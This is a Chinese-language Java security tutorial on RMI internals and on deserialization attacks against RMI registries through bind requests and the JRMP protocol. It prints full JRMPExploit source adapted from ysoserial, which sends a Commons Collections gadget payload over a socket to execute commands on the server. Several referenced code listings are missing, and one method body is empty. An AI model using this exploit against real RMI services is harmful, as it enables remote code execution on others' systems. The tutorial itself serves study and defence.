RMI
RMI架构:
RMI
底层通讯采用了Stub(运行在客户端)
和Skeleton(运行在服务端)
机制,RMI
调用远程方法的大致如下:
RMI客户端
在调用远程方法时会先创建Stub(sun.rmi.registry.RegistryImpl_Stub)
。Stub
会将Remote
对象传递给远程引用层(java.rmi.server.RemoteRef)
并创建java.rmi.server.RemoteCall(远程调用)
对象。RemoteCall
序列化RMI服务名称
、Remote
对象。RMI客户端
的远程引用层
传输RemoteCall
序列化后的请求信息通过Socket
连接的方式传输到RMI服务端
的远程引用层
。RMI服务端
的远程引用层(sun.rmi.server.UnicastServerRef)
收到请求会请求传递给Skeleton(sun.rmi.registry.RegistryImpl_Skel#dispatch)
。Skeleton
调用RemoteCall
反序列化RMI客户端
传过来的序列化。Skeleton
处理客户端请求:bind
、list
、lookup
、rebind
、unbind
,如果是lookup
则查找RMI服务名
绑定的接口对象,序列化该对象并通过RemoteCall
传输到客户端。RMI客户端
反序列化服务端结果,获取远程对象的引用。RMI客户端
调用远程方法,RMI服务端
反射调用RMI服务实现类
的对应方法并序列化执行结果返回给客户端。RMI客户端
反序列化RMI
远程方法调用结果。
第一步我们需要先启动RMI服务端
,并注册服务。
RMI服务端注册服务代码:
程序运行结果:
RMI服务启动成功,服务地址:rmi://127.0.0.1:9527/test
Naming.bind(RMI_NAME, new RMITestImpl())
绑定的是服务端的一个类实例,RMI客户端
需要有这个实例的接口代码(RMITestInterface.java
),RMI客户端
调用服务器端的RMI服务
时会返回这个服务所绑定的对象引用,RMI客户端
可以通过该引用对象调用远程的服务实现类的方法并获取方法执行结果。
RMITestInterface示例代码:
服务端RMITestInterface实现代码示例代码:
package com.anbai.sec.rmi;
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;
public class RMITestImpl extends UnicastRemoteObject implements RMITestInterface {
private static final long serialVersionUID = 1L;
protected RMITestImpl() throws RemoteException {
super();
}
/**
* RMI测试方法
*
* @return 返回测试字符串
*/
@Override
public String test() throws RemoteException {
}
}
RMI客户端示例代码:
程序运行结果:
Hello RMI~
RMI
通信中所有的对象都是通过Java序列化传输的,在学习Java序列化机制的时候我们讲到只要有Java对象反序列化操作就有可能有漏洞。
既然RMI
使用了反序列化机制来传输Remote
对象,那么可以通过构建一个恶意的Remote
对象,这个对象经过序列化后传输到服务器端,服务器端在反序列化时候就会触发反序列化漏洞。
首先我们依旧使用上述com.anbai.sec.rmi.RMIServerTest
的代码,创建一个RMI
服务,然后我们来构建一个恶意的Remote
对象并通过bind
请求发送给服务端。
RMI客户端反序列化攻击示例代码:
程序执行后将会在RMI服务端
弹出计算器(仅Mac系统,Windows自行修改命令为calc
),RMIExploit
程序执行的流程大致如下:
- 使用
LocateRegistry.getRegistry(host, port)
创建一个RemoteStub
对象。 - 构建一个适用于
Apache Commons Collections
的恶意反序列化对象(使用的是LazyMap
+AnnotationInvocationHandler
组合方式)。 - 使用
RemoteStub
调用RMI服务端
的bind
指令,并传入一个使用动态代理创建出来的Remote
类型的恶意AnnotationInvocationHandler
对象到RMI服务端
。 RMI服务端
接受到bind
请求后会反序列化我们构建的恶意Remote对象
从而触发Apache Commons Collections
漏洞的RCE
。
上图可以看到我们构建的恶意Remote对象
会通过RemoteCall
序列化然后通过RemoteRef
发送到远程的RMI服务端
。
RMI服务端bind
反序列化:
具体的实现代码在:sun.rmi.registry.RegistryImpl_Skel
类的dispatch
方法,其中的$param_Remote_2
就是我们RMIExploit
传入的恶意Remote
的序列化对象。
JRMP
接口的两种常见实现方式:
JRMP协议(Java Remote Message Protocol)
,RMI
专用的Java远程消息交换协议
。
由于RMI
数据通信大量的使用了Java
的对象反序列化,所以在使用RMI客户端
去攻击RMI服务端
时需要特别小心,如果本地RMI客户端
刚好符合反序列化攻击的利用条件,那么RMI服务端
返回一个恶意的反序列化攻击包可能会导致我们被反向攻击。
我们可以通过和RMI服务
端建立Socket
连接并使用RMI
的JRMP
协议发送恶意的序列化包,RMI服务端
在处理JRMP
消息时会反序列化消息对象,从而实现RCE
。
package com.anbai.sec.rmi;
import sun.rmi.server.MarshalOutputStream;
import sun.rmi.transport.TransportConstants;
import java.io.DataOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.io.OutputStream;
import java.net.Socket;
import static com.anbai.sec.rmi.RMIServerTest.RMI_HOST;
import static com.anbai.sec.rmi.RMIServerTest.RMI_PORT;
* 利用RMI的JRMP协议发送恶意的序列化包攻击示例,该示例采用Socket协议发送序列化数据,不会反序列化RMI服务器端的数据,
* 所以不用担心本地被RMI服务端通过构建恶意数据包攻击,示例程序修改自ysoserial的JRMPClient:https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/exploit/JRMPClient.java
*/
public class JRMPExploit {
public static void main(String[] args) throws IOException {
if (args.length == 0) {
// 如果不指定连接参数默认连接本地RMI服务
args = new String[]{RMI_HOST, String.valueOf(RMI_PORT), "open -a Calculator.app"};
}
// 远程RMI服务IP
final String host = args[0];
// 远程RMI服务端口
final int port = Integer.parseInt(args[1]);
// 需要执行的系统命令
final String command = args[2];
// Socket连接对象
Socket socket = null;
// Socket输出流
OutputStream out = null;
try {
// 创建恶意的Payload对象
Object payloadObject = RMIExploit.genPayload(command);
// 建立和远程RMI服务的Socket连接
socket = new Socket(host, port);
socket.setKeepAlive(true);
socket.setTcpNoDelay(true);
// 获取Socket的输出流对象
out = socket.getOutputStream();
// 将Socket的输出流转换成DataOutputStream对象
DataOutputStream dos = new DataOutputStream(out);
// 创建MarshalOutputStream对象
ObjectOutputStream baos = new MarshalOutputStream(dos);
// 向远程RMI服务端Socket写入RMI协议并通过JRMP传输Payload序列化对象
dos.writeInt(TransportConstants.Magic);// 魔数
dos.writeShort(TransportConstants.Version);// 版本
dos.writeByte(TransportConstants.SingleOpProtocol);// 协议类型
dos.write(TransportConstants.Call);// RMI调用指令
baos.writeLong(2); // DGC
baos.writeInt(0);
baos.writeLong(0);
baos.writeShort(0);
baos.writeInt(1); // dirty
baos.writeLong(-669196253586618813L);// 接口Hash值
// 写入恶意的序列化对象
baos.writeObject(payloadObject);
dos.flush();
} catch (Exception e) {
e.printStackTrace();
} finally {
// 关闭Socket输出流
if (out != null) {
out.close();
}
// 关闭Socket连接
if (socket != null) {
socket.close();
}
}
}
测试流程同上面的RMIExploit
,这里不再赘述。